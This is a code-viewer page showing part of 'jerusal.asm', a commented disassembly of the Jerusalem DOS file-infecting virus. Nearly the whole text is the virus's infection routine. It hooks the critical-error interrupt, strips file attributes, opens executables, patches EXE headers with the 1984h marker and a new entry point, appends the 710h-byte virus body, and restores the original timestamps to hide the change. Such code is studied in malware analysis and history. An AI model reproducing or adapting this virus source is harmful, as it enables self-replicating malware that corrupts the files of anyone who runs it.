📄 jerusal.asm
字号:
mov ax,3524h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov ds:data_27e,bx
mov ds:data_28e,es
mov dx,21Bh
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
lds dx,dword ptr ds:data_42e ; Load 32 bit ptr
xor cx,cx ; Zero register
mov ax,4301h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
loc_28:
jc loc_29 ; Jump if carry Set
mov bx,cs:data_37e
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
mov word ptr cs:data_37e,0FFFFh
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_29 ; Jump if carry Set
mov cs:data_37e,ax
mov ax,cs
mov ds,ax
mov es,ax
mov bx,ds:data_37e
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov ds:data_39e,dx
mov ds:data_40e,cx
mov ax,4200h
xor cx,cx ; Zero register
mov dx,cx
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
loc_29:
jc loc_32 ; Jump if carry Set
cmp byte ptr ds:data_36e,0
je loc_30 ; Jump if equal
jmp short loc_34 ; (05E6)
db 90h
loc_30:
mov bx,1000h
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
jnc loc_31 ; Jump if carry=0
mov ah,3Eh ; '>'
mov bx,ds:data_37e
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
jmp loc_44 ; (06E7)
loc_31:
inc word ptr ds:data_44e
mov es,ax
xor si,si ; Zero register
mov di,si
mov cx,710h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov dx,di
mov cx,ds:data_22e
mov bx,ds:data_37e
push es
pop ds
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
loc_32:
jc loc_33 ; Jump if carry Set
add di,cx
xor cx,cx ; Zero register
mov dx,cx
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov si,5
mov cx,5
rep movs byte ptr es:[di],cs:[si] ; Rep when cx >0 Mov [si] to es:[di]
mov cx,di
xor dx,dx ; Zero register
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
loc_33:
jc loc_35 ; Jump if carry Set
jmp loc_42 ; (06A2)
loc_34:
mov cx,1Ch
mov dx,4Fh
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
loc_35:
jc loc_37 ; Jump if carry Set
mov word ptr ds:data_11e,1984h
mov ax,ds:data_9e
mov ds:data_3e,ax
mov ax,ds:data_10e
mov ds:data_2e,ax
mov ax,ds:data_12e
mov ds:data_4e,ax
mov ax,ds:data_13e
mov ds:data_5e,ax
mov ax,ds:data_7e
cmp word ptr ds:data_6e,0
je loc_36 ; Jump if equal
dec ax
loc_36:
mul word ptr ds:data_14e ; ax = data * ax
add ax,ds:data_6e
adc dx,0
add ax,0Fh
adc dx,0
and ax,0FFF0h
mov ds:data_16e,ax
mov ds:data_17e,dx
add ax,710h
adc dx,0
loc_37:
jc loc_39 ; Jump if carry Set
div word ptr ds:data_14e ; ax,dxrem=dx:ax/data
or dx,dx ; Zero ?
jz loc_38 ; Jump if zero
inc ax
loc_38:
mov ds:data_7e,ax
mov ds:data_6e,dx
mov ax,ds:data_16e
mov dx,ds:data_17e
div word ptr ds:data_15e ; ax,dxrem=dx:ax/data
sub ax,ds:data_8e
mov ds:data_13e,ax
mov word ptr ds:data_12e,0C5h
mov ds:data_9e,ax
mov word ptr ds:data_10e,710h
xor cx,cx ; Zero register
mov dx,cx
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
loc_39:
jc loc_40 ; Jump if carry Set
mov cx,1Ch
mov dx,4Fh
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
loc_40:
jc loc_41 ; Jump if carry Set
cmp ax,cx
jne loc_42 ; Jump if not equal
mov dx,ds:data_16e
mov cx,ds:data_17e
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
loc_41:
jc loc_42 ; Jump if carry Set
xor dx,dx ; Zero register
mov cx,710h
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
loc_42:
cmp word ptr cs:data_44e,0
je loc_43 ; Jump if equal
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
loc_43:
cmp word ptr cs:data_37e,0FFFFh
je loc_44 ; Jump if equal
mov bx,cs:data_37e
mov dx,cs:data_39e
mov cx,cs:data_40e
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
lds dx,dword ptr cs:data_42e ; Load 32 bit ptr
mov cx,cs:data_38e
mov ax,4301h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
lds dx,dword ptr cs:data_27e ; Load 32 bit ptr
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
loc_44:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf ; Pop flags
jmp dword ptr cs:data_25e
db 11 dup (0)
db 4Dh, 63h, 21h, 4
db 13 dup (0)
db 5Bh, 0, 0, 0, 2Bh, 0
db 0FFh
db 17 dup (0FFh)
db 'E:\SV\EXECDOS.BAT'
db 0
db 'EXECDOS', 0Dh
db 0, 7Dh, 0, 0, 80h, 0
db 53h, 0Eh, 5Ch, 0, 53h, 0Eh
db 6Ch, 4Dh, 63h, 21h, 0, 10h
db 'EC=F:\DOS\C'
db 0E9h, 92h, 0, 73h, 55h, 4Dh
db 73h, 44h, 6Fh, 73h, 0, 1
db 0B8h, 22h, 0, 0, 0, 1Ah
db 3, 2Ch, 2, 70h, 0
loc_45:
xchg ax,dx
push cs
sub [bp+si],bx
;* jmp short loc_46 ;*(0781)
db 0EBh, 4
db 63h, 21h, 0D0h, 59h
int_21h_entry endp
seg_a ends
end start
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -